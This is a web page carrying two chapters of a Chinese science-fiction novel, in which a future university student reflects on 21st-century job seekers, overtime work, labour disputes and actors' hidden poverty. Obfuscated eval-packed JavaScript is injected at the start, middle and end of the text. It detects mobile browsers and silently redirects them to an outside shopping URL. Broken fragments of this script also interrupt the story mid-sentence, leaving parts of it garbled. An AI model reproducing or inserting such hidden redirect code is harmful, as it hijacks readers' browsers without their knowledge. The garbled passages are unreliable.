;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那一幕她印象很深。两个人并排坐在台阶上,手机屏幕照亮脸,困得眼睛都睁不开,却还在讨论路线。 陈绍宁: 【我看着他们很辛苦。】 陈绍宁: 【但又觉得他们在一起好像也挺温暖。】 陈绍宁: 【就是那种…一边难过一边又不忍心把目光移开。】 陈绍宁:【而且这边办公楼的白领也一样,凌晨四点还亮着灯,有人趴在桌上睡一会儿又起来敲键盘,我就觉得…人怎么可以一直这样转。】 消息发完,她长长吐了口气。 终端那边沉默了一小会儿。 林序: 【我懂你在想什么。】 林序: 【但你现在有点被情绪带着走。】 陈绍宁皱了皱眉。 陈绍宁: 【那些画面是真的啊。】 林序: 【当然是真的,但真的不只是一种颜色。】 林序靠在栏杆上,抬头看了一眼远处稳定运转的城市,然后视线才转回终端,继续回复陈绍宁。 林序: 【你看到的是辛苦的一面,但同一个时间线上,也有人在改劳动法条款。】 林序: 【有人在推动加班补偿制度。】 林序: 【有人在为夜班岗位争取轮休标准。】 林序: 【这些东西你不太会注意到,因为它们没有画面感。】 陈绍宁盯着那几行字。 林序: 【世界从来不是只有压榨的一种力量,有问题的地方,也一定有人在试着修复。不然你以为怎么到咱们星际时代就能进入共产主义呢?】 风吹动陈绍宁脚边的花坛,花坛里的草叶随风发出轻轻的摩擦声。 陈绍宁: 【可是那些人当下还是很辛苦。】 林序: 【是,但你不能只能心疼去理解他们,他们不是只在受苦,他们也在生活,也在坚持,也在爱人。】 陈绍宁想到那对坐在便利店门口的情侣,低头笑了一下。 林序: 【你要看到人的痛苦。】 林序: 【也要看到人的韧性。】 林序: 【不然你论文写出来的就只剩下悲伤了,那不是社会学的观察放心吧。】 她沉默了一会儿。 陈绍宁: 【我是不是太容易被带进去。】 林序: 【你共情能力强,这是优点,但研究不是替人流眼泪,你需要输出合理的观点和足够多的论证。】 陈绍宁: 【那我应该怎么做。】 林序: 【换个角度,看到辛苦时,也问一句他们是怎么撑住的。看到不公平时,也看看谁在试着改变它。】 陈绍宁望着终端屏幕,胸口那种闷闷的感觉慢慢散开一点,夜风变得柔软了一点。 陈绍宁: 【那我怎么办?】 林序: 【你就继续看,但记得别只盯着阴影,光也是同一片天空里的东西。】 陈绍宁抬头望向那片被星光覆盖的夜空,她在想林序是不是也早看几千年后的星空。但陈绍宁忽然觉得,刚才压在心里的那股沉重,没有消失,但似乎减弱了不少。 她低头回了句: 陈绍宁: 【好,我会记得把人写完整,不过你怎么这么会讲道理?】 林序: 【因为我不研究人。】 陈绍宁: 【???】 林序: 【我研究动物,不然我大概早就情绪崩溃了。】 陈绍宁忍不住笑出声。 陈绍宁: 【所以你是逃避人类吗?】 林序: 【是理性自保,人类太复杂了,我怕自己看多了会失去判断。】 11. 第十一章 桌上放着一份资料,陈绍宁整个人坐在自己的宿舍的沙发上待着。 资料上的信息她已经看多许多遍了。主要就是说观察型历史课程强调理解历史情境中的人,而非对历史个体进行价值裁决。 谁都不是当下生活的那个人,因此自以为的价值裁决其实是没有任何意义的。 【观察型历史课程报告需以客观记录、情境还原与结构分析为基本原则,避免情绪化判断及个体道德评价。学生应重点描述观察对象所处的社会环境、行为选择及其与时代结构之间的关联。】 资料内明确了观察型历史课程提交课后报告的明确要求,并且也设定了需要在报告中包含的要素信息。 比如明确的观察时段与空间背景、关键行为记录情境压力来源、个体回应方式,以记录的内容来进行初步结构判断,并提出该现象可能反映的时代共性问题。 但任何观察型历史课的人员都不能对观察对象进行品格定性,观察的样本和时间不够,亦或是观察者本身抱有既定的观点都会影响观察型课程。 “ 人要是真的能控制住自己不去评价别人就好了。” 陈绍宁依靠在沙发里,整个人发呆一样看着桌上的资料。 她靠在沙发上,整个人陷在软乎的体感里沉沉睡去,等她在有意识,人就在地铁站口。 风从隧道深处吹出来,带着凉意。她下意识把外套拉紧,低头看时间,心里想着再看一会儿就回去写周报。 一切都和白天没什么两样,连脚下地面的触感都清晰得不像梦,她甚至还在担心,明天会不会起晚。 陈绍宁背着一个旧帆布包,拉链没有完全拉上,里面露出一角文件夹。她走得不快,却始终没有停下,像是在用某种稳定的节奏抵抗疲惫。 周围都是人,但这周围的任何一个人都不会太观察对方,老话说想看清楚某个人,就不要靠得太近。 太近了,会被对方的节奏卷进去; 太远了,又看不见细节。 地铁站里人很多。 下班高峰刚刚开始,人群在闸机口短暂堆积,又被迅速放行。 陈绍宁刷卡进站的时候,手指明显顿了一下,像是在确认余额。确认成功后,她几乎是松了一口气,才继续往前走。 站台上,列车还没进站。 广播重复着安全提示,语气平静而冷淡。人们站在黄线后面,低头看手机,或是闭目养神。没有人交谈。 陈绍宁站在队伍中间,把包换到另一侧肩膀上,然后从文件夹里抽出几页纸,摊开在手心。 简历。 投简历,找工作。 这就是陈绍宁最近的事情,这个简历不是她 第一次修改的版本。每一次投递不同的岗位,她都在写不同的内容,到现在原版的纸张边缘已经有些软,字体密密麻麻,明显经过多次增补。 面试的第一个问题就是自我介绍,陈绍宁知道那意味着她的简历其实也没有被怎么认真查看了。 陈绍宁的嘴唇轻轻动着,几乎没有发出声音。 “工作经验……项目协助……执行……” 她在背自己的简历,现在这个时候也不是为了展示给别人。更像是在对自己进行一种确认,多次来认证自己确实做过这些。 列车进站。 人群一拥而上,车厢很快被填满。陈绍宁被挤到角落,却依旧低头盯着简历,她背到一半,忽然停下来,眉头皱起,又迅速低下头,从头开始。 陈绍宁很害怕自我介绍在某一个节点卡住。因为面试的时候一旦卡住,努力这件事就会显得不完整。 车厢启动,轻微的晃动让人不得不抓紧扶手。陈绍宁把简历重新塞回包里,腾出一只手握住吊环。 她的对面,坐着一个年轻女生。 女生把电脑放在膝盖上,屏幕亮着,光映在她脸上。她的手指在键盘上敲个不停,几乎没有停顿。 邮件、表格、批注。 陈绍宁只能看到女孩的表情,看不到电脑上具体内容,却能感受到那种紧迫。 车厢并不安静,却也谈不上嘈杂。大多数声音都被控制在不会引人注意的范围内。 可就在这时,不远处忽然传来一阵低声的自语。 “不是我……我没有……” “他们搞错了……” 一个中年男人站在门边,神情恍惚,他的头发有些乱,衣服皱巴巴的,手里攥着一只塑料袋。 他并没有大声喊叫,只是断断续续地重复着一些话。像是在为自己辩解,又像是在反复回放某个已经发生过的场景。 周围的人下意识往旁边挪了一点。 没有人呵斥,也没有人安慰。 他们太熟悉这种状态了,只要人能不真正失控,这节车厢就会选择无视他的一切情绪,允许他在公共场合里表达情绪。 陈绍宁有点奇怪,为什么今天遇到这么多事情让她有一种难以说明的情绪,还不等她梳理好自己的想法,身边的一个女生正压低声音打电话。 “我知道流程。” “可是他们一直拖。” “对,我已经提交了材料。” “ 这个事情就是你们劳动监察的工作,没必要到劳动仲裁委员会处理。” 她的语气努力保持冷静,却在说到仲裁两个字时,明显顿了一下。 “我没必要闹事。”她急忙补了一句,“我只是想要我应得的,这是法律应该保护我的部分不是吗?” 电话那头似乎说了什么。 她沉默了几秒,才低声应道:“好,我再等等。” 电话挂断。 她把手机放下,目光空洞地看向车厢另一侧。 陈绍宁坐在她的身边,忽然产生了一种极其强烈的错位感。 这里的很多人都在努力。 没有一个人是无所事事的。 可这些努力,似乎并没有把他们带向任何明确的方向。 列车行驶在黑暗的隧道里。 窗外什么都看不见,只有偶尔闪过的灯光,提醒人们还在前进。 努力本应该是一个被高度褒义化的词,它意味着自律,上进,值得肯定。可站在这里,她第一次意识到努力,本身并不指向回报。 它只是一个持续消耗的动作就像跑步机,无论人跑得多快,风景都不会改变。 可是为什么会这样呢? 陈绍宁没有答案。 只看着隔壁位子的女生手机上打开一份新的简历。这一次她没有再背,而是盯着某一行看了很久。 那一行可能是她最引以为傲的经历,也可能是最容易被质疑的部分。 她的手指微微用力,陈绍宁看着她忍不住皱起眉。 她想不明白。 如果努力没有问题,如果每个人都在拼命生活,那为什么结果会是这样? 为什么这么多问题会同时出现? 不是个例。 而是叠加。 求职,加班,纠纷,它们像是同一条河流的不同支流,最终汇聚到同一个地方。 列车减速。 广播报站。 人群开始移动。 女孩在下车前,把简历重新整理好塞回包里,她站起身的时候动作很稳,像是已经习惯了这种在拥挤中保持平衡的方式。 下车的人群很快把她吞没。 陈绍宁站在车厢里,看着新的面孔补上空缺。 新的疲惫,新的努力。 她忽然意识到一个更令人不安的事实,这个系统一直都并不缺努力。 它缺的是托住努力的结构,曾经很长一段时间存在这样的结构,但很长一段时间又消失了。 列车再次启动,她只是坐在在车厢位子上,看着一张张脸在灯光下闪过,她在这个时代里就找不到答案。 但她不在这个时代里,找到了答案似乎也改变不了什么… ——— “真的没想到,你做梦都是自己的论文啊?” 陈绍宁的宿舍门在轻微的气压声里滑开时,林序正靠在走廊的光带旁等她看着人出来,陈绍宁的眼睛下面都带着黑眼圈,林序忍不住笑起来打趣她。 “走吗?”林序抬了抬下巴。 “去天台?”陈绍宁已经猜到了。 “今晚云层稀薄,观景指数高。”林序晃了晃手里的终端,“而且调酒系统刚更新了两款无酒精星雾饮。” 陈绍宁笑了一下,抓起外套跟上她。 天花板嵌着流动的星轨投影,像一条缓慢旋转的银河,从走廊这头一直铺到另一头。 地面并不反光,却带着柔和的荧蓝色光线,脚步落上去几乎没有声音。 从宿舍到电梯没有几分钟,电梯是半透明的观景舱,舱门合拢后,外壁逐渐变得清晰,整栋宿舍区的中庭在脚下展开。 植被层层叠叠,从地面一直攀到高层露台,水循环系统在绿植间悄无声息地运作,细小的水雾在灯光下泛着淡光。 电梯上升的过程几乎没有失重感,只是周围景色缓慢下沉,像城市在温柔地退远。 “我小时候还以为未来的宿舍会像金属罐头。”陈绍宁说。 “我们祖先也这么以为。”林序笑,“结果最后发现,人类还是需要树和风。” 天台的门在她们靠近时自动识别身份,透明隔离层轻轻分开,外面的夜色一下子铺进来。 这里不像传统意义上的屋顶,更像一个半开放的高空花园。 地面是微弹性材料,踩上去有种很轻的回弹感。四周没有护栏,而是一圈无形的力场边界,把空气流速控制在舒适范围内。 远处的城市灯光分布得很疏,不是密密麻麻的高楼,而是一片片功能区散落在夜色里。 能源塔的光柱稳定地向上延伸,与天空中的星群投影形成奇妙的呼应。 夜晚的校园比白天更像一座真正漂浮在宇宙边缘的城市。 “你不觉得轨道交通主环。”林序指了指远处一道流动的细光线,“看久了像是在呼吸吗?” 陈绍宁靠近边缘,脚下是几百米的高度,力场轻轻托住气流,连头发都只是微微晃动。 天台中央有一个半弧形的调酒台,没有服务人员,只有一整面光滑的操作界面悬浮在空中。几位学生正围在那里,看着自己的饮品在透明杯中慢慢形成。 “来试试。”林序拉她过去。 陈绍宁把终端靠近识别区,界面立刻浮现她的生理数据和偏好选项。 “今晚推荐冷辉星尘。”系统声音温和,“低糖、舒缓神经、无酒精。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“谢谢你拉我上来。”陈绍宁喝了一口后忍不住说,“我现在做梦都是那几个人的事情。” “怕你又把自己泡在别人的故事里出不来。”林序笑。 陈绍宁轻轻点头。 在几百米高的天台上,城市里微凉的空气落下来,陈绍宁觉得心里的那点沉重似乎分担走了一点点。 调酒没有多少,几口喝完之后林序把终端往口袋里一塞,冲陈绍宁抬了抬下巴:“走,散散步吧,从你结束第二次观察型历史课那天到现在,你闷在宿舍写报告好久了。” 两人从生活区的连廊走出来,脚下的地面带细微弹性的合成材质,踩上去很轻,走久了也不会累。 地面里嵌着细细的光带,顺着人流方向缓慢流动,像是在提醒这边是主通行线。 “以前的人上大学,脚底下都是水泥路。”陈绍宁问。 “还有更早之前,陆地都是泥巴,那才都是坑。”林序一本正经,“下雨天全是泥。” 陈绍宁笑出声。 连廊尽头豁然开朗,是校园中层的公共绿地是一套完整的生态系统。 矮树、藤蔓和低层植被错落交织,中间有一条细水渠缓缓流过,水面上偶尔浮起一圈数据光纹,那是水质监测系统在实时运作。 远处几栋教学楼半透明的外墙在夜色里透着柔光,根据教室使用情况分区发光,从外面看像几块漂浮的光盒子。 两人顺着步行带往研究区走。 身旁不时有低空轨道舱无声滑过,舱体是流线型的银灰色,速度不快,像漂浮在空气里的泡泡。 “要坐吗?”林序问。 “走走吧。”陈绍宁说,“最近脑子用太多,腿还没动过。” 她们穿过一片开阔广场。 地面中央投着缓慢变化的星图,是实时天文数据的可视化投影。 几个学生坐在边缘讨论课题,脚边就是一整片旋转的星系。 “天文系的学生抬头是宇宙,低头也是宇宙。”林序说。 “压力会不会很大?”陈绍宁问。 “还好吧,”林序耸耸肩,“反正宇宙也不会催你交作业。” 两人说着话就往前继续走,再入眼的整栋建筑像一块静静悬着的透明晶体。 建筑内部的书架和阅读区层层叠叠,却几乎听不见翻页声。隔音场把噪音压得很低,连走路都像踩在棉花上。 “这里最可怕的是,一待就忘记时间。”林序小声说。 “没有人催离开,想要学习到什么时候都可以。 ”陈绍宁看着里面的人,有人靠着窗看资料,有人干脆闭着眼休息。 两人最后走到教学区边缘的小桥上。 桥下是通向生态区的垂直绿井,灯光从植物间透上来,空气带着一点湿润的草木味。 远处的能源塔在夜色里发着稳定的光,像城市的心跳。 “有时候我会忘了,”陈绍宁轻声说,“不是所有时代的人都能这样散步。” 林序看了她一眼,语气却很轻松:“所以你才要多看看,然后好好写下来。” 风从桥上吹过,两人并肩往回走,脚下的光带缓缓向前流动,像在默默陪她们走完这一圈校园。 陈绍宁还想继续往前走,但终端上显示了新的信息,她连忙打开阅读。 来信一条是第三次观察型历史课程申请通过,另外一条是教授更新的课程信息。 “在下一次课程开始之前,请各位同学及时修完辅助选修的《观察型时空历史课入门》前三次课程。并且提交第一次完整的报告信息给我,其中需要明确自己的观察对象和方向,期待大家的论文能顺利完成,下期课程再见。” 12. 第十二章 熬夜这个事情应该是人类无法放弃的。 陈绍宁和林序分开后回到了宿舍,但她也没有任何睡意,只是看着眼前的终端上的数据库,陈绍宁又重新调出信息。 终端有显示时间,这会是凌晨一点。 不知道是不是天天看到很多过去人的事情,陈绍宁也跟着睡不着了,眼神是一直盯着终端,脑袋里不知道在想着什么。 除了自己整理信息,还需要用星际历史课配套的标准资料库导出内容一起提交。资料库的界面简洁,所有数据都被归纳成清晰的曲线和平均值。只要输入关键词,系统就会自动生成一段客观描述。 陈绍宁输入了演员收入二十一世纪初。 屏幕很快亮起。 平均年收入,中位数,头部与腰部比例,行业增长曲线。 包括很多暗线收入进出都没有任何的隐瞒。 每一条数据都无可挑剔。 总结信息中说明是整体收入水平高于社会平均线,属于高风险、高回报职业。存在明显的头部集中现象。 系统给出的结论是算得上审慎,只看这些内容,很容易得出一个结论大概就是演员这个职业,本身并不值得同情。 陈绍宁盯着那条中位数看了很久。 中位数,是一个很聪明的数字。 它不会像平均数那样,被极端高值拉得过于夸张,也不会像最低值那样,显得过分悲惨。 它看起来很公平。 可她已经亲眼见过孟余的生活。 很便宜的棉服,看起来也没有多好的住处,但大部分钱都给福瑞买了猫罐头,再有的钱都是大额支出到各种公益活动,遇到被欺负的其他演员的粉丝也一样会出头帮助她们。 看得出来他不是挥霍型的人,甚至温良恭俭让这几个词形容孟余也是合适的,他的一生完全算不上能定为高回报职业的缩影。 她重新调出了他的资料。 系统显示,他参与过多部影视作品履历算得上完整,有很明显空白期集中在一定的时间内,按照统计模型,他应该属于稳定从业者。 可现实是他在节衣缩食。 偏差是偶然吗? 陈绍宁心里有好奇就会开始对比更多数据。 演员 A收入可观,演员 B片约不断,演员 C商业价值稳定。 可当她把这些名字一个个拆解,拉进现实场景里,就会发现他们几乎都处在被看见的那一端。 数据库里的演员是被统计到的演员,而真的去过过去之后,陈绍宁知道现实中的演员,还有大量处在统计边缘的人。 很多演员有作品,有工作记录却没有稳定的现金流。因为收入并不是按是否工作结算的c而是按是否被使用。 拍过戏不代表钱按时到位,播出过作品不代表分账透明,有姓名也不代表话语权存在。这些变量,没有一个会完整地出现在宏观数据里。 陈绍宁开始意识到一个问题,数据并不是在说谎。 它只是在选择可见的部分。 她继续往下查。 演员的平均收入里,是否包含了经纪公司抽成?是否扣除了培训费用、造型费用、维持曝光的隐性支出?是否考虑了项目取消、拖款、账期延后? 还有很多更为隐蔽的东西,系统没有回答这些问题。 因为这些问题,本身就不在统计范畴内。统计只记录已经发生,已经结算,已经确认的数字。 而那些处在灰色地带的部分,被默认视为个体差异,而个体差异是一个非常便利的词,它可以解释一切,又因为关联众多而不需要追责任何人。 陈绍宁忽然想起,在地铁里见过的那些人。 求职者、加班者、处理劳动纠纷的人他们也都有工作记录, 可他们的疲惫,并不会出现在就业率里,她终于明白,为什么这些现象长期存在,却始终不被当成问题。 因为从宏观视角看系统是运转良好的。 演员行业有产出,城市在增长,内容持续被生产。 个体的困顿,被稀释进了整体曲线里。而且还有更隐蔽的一层。陈绍宁意识到,这些原因之所以看不到,并不只是技术问题。 还有一种叙事选择。 在曾经的某个时代,成功案例被不断放大,失败路径则被解释为个人问题。 如果你赚不到钱,是因为你不够红;如果你被拖欠,是因为你不够重要;如果你节衣缩食,是因为你规划不当。 这种解释方式把一切问题,都只推回到个体身上,于是人们开始用极端案例来反驳整体问题。 “也有人过得很好。” “头部演员收入很高。” “你不能因为个别情况否定整个行业。” 这些话在逻辑上成立。 可在现实中,它们遮蔽了最重要的一点不是所有人,都在同一个起跑线上。 苦难,生活的苦难或者工作的困难被克服了,并不值得被歌颂。 那不是一种美德,而是一种被迫的自我保护。 发现为什么还有这些苦难,并且努力把这些苦难消除掉才是应该去做的事情。 可是为什么有人必须这样做,才能勉强站在原地? 她继续翻阅资料。 平台分账规则,项目结算周期,风险共担的行业条款。 这些条款在文本里看起来极其合理。 风险共担意味着共同承担不确定性;灵活用工意味着提高效率。可当这些规则落在具体的人身上时,它们就变成了另一种东西。风险被下沉到最弱的一端;灵活意味着随时可被替换。 而这些细节很少被写进行业概况,因为它们太具体了。具体到无法被概括,具体到会引发责任问题。 看见是有代价的。 修改被看见的内容也是一件非常昂贵的事。 相比之下把问题归为个人选择要轻松得多。 陈绍宁关掉数据库,屏幕暗下来的那一刻,她感到一种前所未有的沉重。 她终于明白,历史教材为什么会在旧蓝星时代反复强调结构性死亡,大概就是系统在统计意义上是成功的,却在生活层面持续制造沉默的消耗。 孟余只是其中一个。 那些在数据里消失的人才是大多数。 她站在房间里,忽然意识到一件事如果只相信宏观数据,就永远无法理解,为什么那么多人,会在看起来不错的时代里,感到无法呼吸。 而她继续观察下去的理由,也在这一刻变得清晰起来。 “但是… 演员的收入总是比其他行业高很多,但是演员又好像是一切难说之事的表象。难说的事情也太多了,在旧蓝星时代之前就一直存在。” 陈绍宁自言自语着,她甚至在想,或许她生存的时代没有一模一样的难说之事,但或许会诞生什么新的难说之事。 那等她死亡后的几百几千年之后,是不是也有人会观测她的时代会发生什么事情? “有可能我也会被观测?” 陈绍宁想到这,倒是先把数据库关闭。 “可以了,人类一直在进步了,现在都没有信息差这种东西,历史也是完全透明地能查询一切,我一个学生,今天晚上就不想那么多了,还不如早早睡觉。” 人类总是想的太多,但不在这一时。 陈绍宁这样劝慰自己,但人躺在床上的时候,还是忍不住想起来工资和劳动内容的对比。 但越想越觉得复杂,最后倒是明白了演员这个行业最后消失也不算是坏事情。 “ 不算坏事吧,不算……” 陈绍宁还是迷迷糊糊地睡着了,这一次没有梦境,一觉睡到天明。 ……… “ 咱们公共文明学有很多课程,希望大家在课程内明白,我们不是研究人类有多惨,更多事研究在经历过那些惨痛历史之后,人类是如何学会不再让同样的事情发生。因此不要限于一种历史论调里,需要全面地看待事情。” 陈绍宁用终端语音播放着这学期开学时,学科教授给全专业学生发布的邮件,而陈绍宁闭着眼睛刷牙洗脸,她就是明显感觉到自己有陷入一个论调的危险,这不是一个公共文明学专业学生该有的状态。 “ 只有社会实践和历史课程的深入调查,才是人们对于外界认识的真理性的标准。旧蓝星时代有一位著名的伟人说的对,通过实践而发现真理,又通过实践而证实真理和发展真理,实践和认知是在循环中前进的,是螺旋式上升的,同样没有调查,就没有发言权。(1 我期待学生们需要重视调查研究,在经过足够的观察型历史课程之后,最后结论要基于足够多的观察型历史课程,这是大家对事物认识加深的过程,也是解决问题的过程。 ” (2 邮件的内容被一字一句读出来,陈绍宁这几天的情绪也跟着平稳下来。 “个体的痛苦需要被看到,但我是在星际时代的人,我改变不了个体的痛苦,我需要看到个体的痛苦和群体的改变,我需要明白微观和宏观的结合… ” 陈绍宁的嘴巴里全是牙膏沫,但不耽误她说出来多看多听多思考,审慎说话的态度。 清晨起的有点早,其实睡眠状态也没有很好。 “今天的课是什么来着?” 临出门前,陈绍宁翻看今天的课表,终端上是星际联合大学公共文明学核心课程的内容,比如什么《历史情境中的个体能动性》、《情绪劳动史与社会认知演变》、《制度修复史:人类如何修正自己的错误》、《记忆伦理与历史观看边界》、《文明心理学:集体创伤与社会韧性》 这种专业课需要去教室上小课,而大课就只要在终端上进入全息课程更为方便。 陈绍宁背着包出门时,地面的导光带已经切换成浅金色,提示早高峰步行方向。 走廊尽头的观景电梯正好停在这一层,陈绍宁走进去,舱壁透明,外面的绿植层一层层向下展开,水循环管道里细流反着光。 电梯几乎没有震动,像被空气托着缓缓下降。 出楼之后,是连接宿舍区与教学区的立体步行廊。 廊道两侧的植物正自动调节叶片角度,让晨光能更均匀地落下来。 几个学生一边走一边在空中滑动终端投影,讨论着专业小课的报告。 陈绍宁没有赶时间,顺着缓行步带往前。 旁边一列低空轨道舱无声掠过,舱体反射着天空的淡蓝色,里面的人正低头看资料。 走到教学区入口,识别系统在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149312|196424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她靠近时自动点亮通行光标。 陈绍宁推开教室门,看着教室里已经到了同学们先打了声招呼,还没来得及说几句话,隔壁教室上课的林序就推门喊陈绍宁。 “ 绍宁,绍宁,你快来一下。” 陈绍宁好奇林序找她做什么,东西扔座位上就跟着一起出门。林序拉着她去走廊尽头,从口袋里掏出来点东西就塞进她的口袋里。 陈绍宁看她的动作,没有贸然把东西拿出来,而是手伸进口袋里摸起来,这个触感和形状,陈绍宁眼睛一亮,“ 你… 怎么弄到的?” “秘密,秘密,千万别说。” 陈绍宁想到了各种型号,但不看一眼其实很难确定,但口袋里有这些东西,陈绍宁眼睛跟着亮了几分。 离上课还有几分钟,林序一边靠近她,眼神也不忘看看周围,最后才在她耳边小声说着,“ 千万别拆开,下次拿着一起,有人试验过了能带进观察型,你放在什么地方藏起来,但是如果想要用得深度课,所以千万放好。” 陈绍宁果然收回来手,不知道想到了什么,她连忙点头表示赞同:“好!我都听你的!” “要上课了。” 两人感受到终端熟悉的震动,赶紧分开,各自回到自己的教室里。 陈绍宁课上学生只有十三人,是仿照纪元二十一世纪教室样子建造的,墙面没有黑板,只有一层半透明的界面,随着课程开始,资料像水一样铺开。 陈绍宁坐下没多久,教授就推门进来了,神情平静,却带着一点认真到近乎温柔的专注。 “今天我们讲《情绪劳动史与社会认知演变》。”她的声音不高,但清晰,“我们先从一个问题开始——” 她停顿了一下,目光扫过教室。 “什么时候,人类开始承认情绪也是一种劳动?” 教室里有几秒安静。 乔鹤先举手,语气有点犹豫:“大概是……纪元21世纪中期服务业研究兴起的时候?” 教授点头:“对。情绪劳动这个词在当时并不是大众语言,而是学术概念。它最早被用来描述——” 投影里出现一段旧时代影像,比如空乘人员微笑服务,客服在电话那头语气始终温和。 “——那些必须持续管理自己情绪,以满足职业要求的人。”教授说,“他们的微笑,耐心,克制,并不是天生的,而是工作的一部分。” 孙淼淼皱着眉,小声嘀咕:“可那不是礼貌吗?” 教授听见了,笑了一下:“礼貌是自发的,情绪劳动是被期待、被要求、甚至被考核的。” 教室里有学生轻轻啊了一声,像是突然理解了差别。 “当情绪开始被写进岗位说明,写进绩效标准,它就从性格优点,变成了劳动内容。”教授语气变得缓慢,“问题是当时并没有对应的报酬机制。” 陈绍宁低头记笔记,笔尖停了一下。 她想到孟余回粉丝私信的样子,心口轻轻一沉。 教授手势一挥,画面切换。 “第二个领域是粉丝文化中的情绪依附。” 屏幕上出现社交平台旧界面,大量留言、应援视频、深夜长文。 “21世纪的艺人,不只提供作品,还被期待提供陪伴、安慰、理解。”教授语气里带着一点感叹,“粉丝把情绪投向他们,而艺人如果选择回应,就进入了一种双向却不对等的情绪关系。” 乔鹤举手,声音有点急:“但那是自愿的吧?” “是的,”教授点头,“正因为自愿,它更容易被忽略。粉丝的情绪会被忽略,艺人的情绪也会被忽略。”她顿了顿,“自愿不代表没有消耗。” 教室安静下来。 陈绍宁喉咙发紧,手指无意识收紧。 教授继续说:“再者家庭与亲密关系中的隐形照护也是存在的,老龄化很严重,生育率下降,很长一段时间里这种隐形照护都很重要。” 投影变成家庭场景,有人记得家人生日,有人主动安抚争执后的情绪,有人默默承担沟通责任。 “长期以来,这些行为被称为体贴、懂事、会照顾人。”教授语气轻柔,“但它们同样需要时间、注意力和情绪调节能力。” 孙淼淼小声说:“听起来好累……” 教授看向她,眼神很温和:“是的。但当社会只把这些当成性格,而不是付出,付出的人就很难为自己争取边界。” 后排有学生低声说:“那后来怎么被承认的?” 教授笑了一下,像在等这个问题。 “因为太多人累到出问题了。”她语气很平静,“心理学数据、职场研究、家庭冲突统计,让社会不得不面对一个事实——” 她在空中划出一个词,情绪不是无限资源。 教室里没人说话。 教授最后总结:“情绪劳动被看见,仅仅是因为长期忽视的代价,已经大到无法再掩盖。” 她看向学生们,语气缓和下来,“我们研究这段历史,不是为了指责过去,而是为了理解——” “当一个人看起来总是很懂事,总是很温和,也许他正在做一份,从未被写进合同的工作。” 陈绍宁低头,眼眶微微发热,她在想这算是在替很多人,补上一句迟到的确认。